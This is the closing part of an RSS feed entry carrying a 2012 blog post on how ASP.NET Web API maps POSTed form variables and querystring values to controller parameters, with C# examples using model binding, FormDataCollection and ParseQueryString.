&lt;p&gt;Another similar issue I ran into is with POST Form Variable binding. Web API can retrieve parameters from the QueryString and Route Values but it doesn't explicitly map parameters from POST values either.&lt;/p&gt;
&lt;p&gt;Taking our same ReturnString function from earlier and posting a &lt;em&gt;message&lt;/em&gt; POST variable like this:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;formVars = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Dictionary&lt;/span&gt;&amp;lt;&lt;span style="color: blue"&gt;string&lt;/span&gt;,&lt;span style="color: blue"&gt;string&lt;/span&gt;&amp;gt;();
formVars.Add(&lt;span style="color: #a31515"&gt;"message"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"Some Value"&lt;/span&gt;);
&lt;span style="color: blue"&gt;var &lt;/span&gt;content = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;FormUrlEncodedContent&lt;/span&gt;(formVars);
&lt;span style="color: green"&gt;
&lt;/span&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;client = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpClient&lt;/span&gt;();
&lt;span style="color: blue"&gt;var &lt;/span&gt;result = client.PostAsync(&lt;span style="color: #a31515"&gt;&lt;a href="http://rasxps/AspNetWebApi/albums/rpc/ReturnString"&gt;http://rasxps/AspNetWebApi/albums/rpc/ReturnString&lt;/a&gt;&lt;/span&gt;,&lt;br&gt;                             content).Result;&lt;/pre&gt;
&lt;p&gt;which produces this trace:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;POST &lt;/strong&gt;&lt;a href="http://rasxps/AspNetWebApi/albums/rpc/ReturnString"&gt;&lt;strong&gt;http://rasxps/AspNetWebApi/albums/rpc/ReturnString&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; HTTP/1.1&lt;br&gt;Content-Type: application/x-www-form-urlencoded&lt;br&gt;Host: rasxps&lt;br&gt;Content-Length: 18&lt;br&gt;Expect: 100-continue&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;message=Some+Value&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;When calling ReturnString:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public string  &lt;/span&gt;ReturnString(&lt;span style="color: blue"&gt;string &lt;/span&gt;message)
{            
    &lt;span style="color: blue"&gt;return &lt;/span&gt;message;
}
&lt;/pre&gt;
&lt;p&gt;unfortunately it &lt;strong&gt;does not map&lt;/strong&gt; the message value to the message parameter. This sort of mapping unfortunately is not available in Web API.&lt;/p&gt;
&lt;p&gt;Web API does support binding to form variables but only as part of &lt;em&gt;model binding&lt;/em&gt;, which binds &lt;strong&gt;model properties&lt;/strong&gt; to the POST variables. Sending the same message to the following method that access a model object works:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public string &lt;/span&gt;ReturnMessageModel(&lt;span style="color: #2b91af"&gt;MessageModel &lt;/span&gt;model)
{        
    &lt;span style="color: blue"&gt;return &lt;/span&gt;model.Message;
}


&lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;MessageModel
&lt;/span&gt;{
    &lt;span style="color: blue"&gt;public string &lt;/span&gt;Message { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }&lt;/pre&gt;&lt;pre class="code"&gt;}&lt;/pre&gt;
&lt;p&gt;Note that the model is bound and the message form variable is mapped to the Message property as would other POST form variables if there were more. This works but it's not very dynamic as you have to a have a static model parameter.&lt;/p&gt;
&lt;p&gt;You can get at the form variables manually however. You can specify that the parameter is a &lt;em&gt;FormDataCollection &lt;/em&gt;instance:&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public string  &lt;/span&gt;ReturnFormVariableString(&lt;span style="color: #2b91af"&gt;FormDataCollection &lt;/span&gt;formData)
{
    &lt;span style="color: blue"&gt;return &lt;/span&gt;formData.Get(&lt;span style="color: #a31515"&gt;"message"&lt;/span&gt;);
}&lt;/pre&gt;

&lt;p&gt;Oddly FormData&lt;strong&gt;Collection&lt;/strong&gt; does not allow for indexers to work so you have to use the &lt;em&gt;.Get()&lt;/em&gt; or &lt;em&gt;.GetValues()&lt;/em&gt; methods (for multi-select values) which is pretty weird for a collection type.&lt;/p&gt;
&lt;p&gt;Note that &lt;em&gt;although this isn't recommended: I&lt;/em&gt;f you're running Web API under ASP.NET you still have access to the &lt;strong&gt;HttpContext.Current.Request&lt;/strong&gt; object. This will work ONLY in ASP.NET and not in self-hosted scenarios and will significantly complicate test scenarios, but if you need to get at some data that Web API doesn't expose the Request is there for you in a pinch. There shouldn't be much that Web API doesn't expose though, so try to avoid use of it even if sometimes it just seems easier to go that route.&lt;/p&gt;
&lt;h3&gt;Access the QueryString&lt;/h3&gt;
&lt;p&gt;Querystring values are automatically mapped to parameters on the controller method fired. In most cases that's sufficient, but if for some reason you have too many querystring values to push into parameters or you otherwise need to parse your querystring explicitly here's how you can do that from within a controller method:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;queryVals = Request.RequestUri.ParseQueryString();    
&lt;span style="color: blue"&gt;var &lt;/span&gt;message = queryVals[&lt;span style="color: #a31515"&gt;"message"&lt;/span&gt;];&lt;/pre&gt;
&lt;p&gt;Note that ParseQueryString is an Extension Method to Uri in System.Net.Http so make sure to add that namespace.&lt;/p&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;As you can see Web API makes most things related to parameter mapping pretty easy, but there are some behaviors can be a little 'different' and require a little more work than we might be used from directly accessing HttpContext.Current in plain ASP.NET applications. While HttpContext is still available in Web API when running under IIS, in general it's not a good idea to use it. First and most importantly it only works when running under IIS which means it doesn't work for self-hosting and is problematic if you are unit testing your Web API code since no HttpContext is available under test.&amp;nbsp; Inside of the controller most Http features are available from the Request property although it might require a little digging the first few times you need access to form variables and querystrings. &lt;/p&gt;
&lt;p&gt;In a way it's funny that accessing complex values in Web API actually requires less effort than accessing simple values. I'm not fond of the decision to make the behavior between simple and complex types different when mapping parameters - when I first started playing with Web API it actually led me to a bunch of false assumptions about what wasn't working. For example I first ran into this with date values and assumed this was a problem with Web API's date parsing when in fact it was simply the parameter mapping that didn't work. I hope some revision happens here make this easier still.&lt;/p&gt;
&lt;p&gt;Also realize that Web API doesn't have any sort of global context object. Controllers get easy access to the Request object, but lower level components like formatters, filters and message handlers don't have easy access to these objects. These APIs require special methods that can intercept and capture the Request which is a topic for another post.&lt;/p&gt;
&lt;p&gt;One of the reasons that these inconsistencies exist is that there are a number of different binding approaches used by Web API: QueryString mapping, Post data model binding, xml and json parsing of single values etc. and the order of the paths through Web API end up causing some of these issues. While I think they are pretty annoying and can result in WTF moments, I also think that the scenarios where it happens (single value assignments) are pretty rare. I suspect most applications will opt to pass objects around or map POST/PUT data to a server side View model rather than posting individual values. But nevertheless it's important to understand that there are some… cough… unexpected behaviors.&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=Web Api'&gt;Web Api&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="ASP.NET Web API and Simple Value Parameters from POSTed data" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Mar/21/ASPNET-Web-API-and-Simple-Value-Parameters-from-POSTed-data"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Mar/21/ASPNET-Web-API-and-Simple-Value-Parameters-from-POSTed-data" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=dSrsDmVNVmc:ghrjOwbw_g8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=dSrsDmVNVmc:ghrjOwbw_g8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=dSrsDmVNVmc:ghrjOwbw_g8:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=dSrsDmVNVmc:ghrjOwbw_g8:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=dSrsDmVNVmc:ghrjOwbw_g8:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=dSrsDmVNVmc:ghrjOwbw_g8:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=dSrsDmVNVmc:ghrjOwbw_g8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=dSrsDmVNVmc:ghrjOwbw_g8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=dSrsDmVNVmc:ghrjOwbw_g8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/dSrsDmVNVmc" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Mar/21/ASPNET-Web-API-and-Simple-Value-Parameters-from-POSTed-data</feedburner:origLink></item>
  </channel>
</rss>

